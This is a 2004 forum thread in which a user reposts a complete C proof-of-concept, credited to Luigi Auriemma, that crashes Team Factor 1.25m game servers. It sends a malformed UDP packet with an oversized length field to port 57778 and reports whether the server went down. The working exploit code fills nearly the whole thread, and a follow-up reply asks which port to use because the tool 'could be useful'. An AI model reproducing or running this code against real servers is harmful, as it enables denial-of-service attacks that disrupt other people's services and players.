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GaLiaRePt
Feb 24 2004, 10:41 PM
Team Factor 1.25m remote server denial of service exploitDate: 2004-02-25 Author : Luigi Auriemma <aluigi@altervista.org> Download : http://www.security-corporation.com/downlo...loit/tfboom.zip | CODE | /*
by Luigi Auriemma
UNIX & WIN VERSION
*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 57778
#define TIMEOUT 5
#define OFFSET 12
#define BOOM 0xffff // abnormal program termination
// #define BOOM 0x8000 // unallocated memory reading
#define SEND { \
err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz); \
if(err < 0) std_err(); \
}
#define RECV { \
err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); \
if(err < 0) std_err(); \
buff[err] = 0x00; \
printf(" %s\n", buff + OFFSET + 2); \
}
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
err,
psz;
u_short port = PORT;
struct sockaddr_in peer;
u_char *buff,
pck[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x36\x01\x01"
"\x00\x05" "hello";
// |
// big endian! setbuf(stdout, NULL);
fputs("\n"
"Team Factor <= 1.25m remote server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\nTarget %s:%hu\n",
inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
/* INFO */
fputs("\n- Requesting informations:\n\n", stdout);
SEND;
if(timeout(sd) < 0) {
fputs("\nError: socket timeout\n", stdout);
exit(1);
}
RECV;
/* BOOM */
fputs("\n- Sending the BOOM packet:\n\n", stdout);
*(u_short *)(pck + OFFSET) = htons(BOOM);
SEND;
if(timeout(sd) < 0) {
fputs("Server IS vulnerable!!!!!!!!\n\n", stdout);
} else {
fputs("Server is not vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif |
Not very useful but I post it... 
DRuCuLa
Feb 25 2004, 07:17 PM
Which port does it need?  could be useful.... right now, i need the port.......
GaLiaRePt
Feb 25 2004, 07:38 PM
DRuCuLa
Mar 1 2004, 01:24 PM
| QUOTE (GaLiaRePt @ Feb 25 2004, 07:38 PM) | | |
sorry. havent noticed it.... my mistake.... thanks mate! 
GaLiaRePt
Mar 1 2004, 04:32 PM
| QUOTE (DRuCuLa @ Mar 1 2004, 01:24 PM) | | QUOTE (GaLiaRePt @ Feb 25 2004, 07:38 PM) | | |
sorry. havent noticed it.... my mistake.... thanks mate! |
No problem dude ;-)
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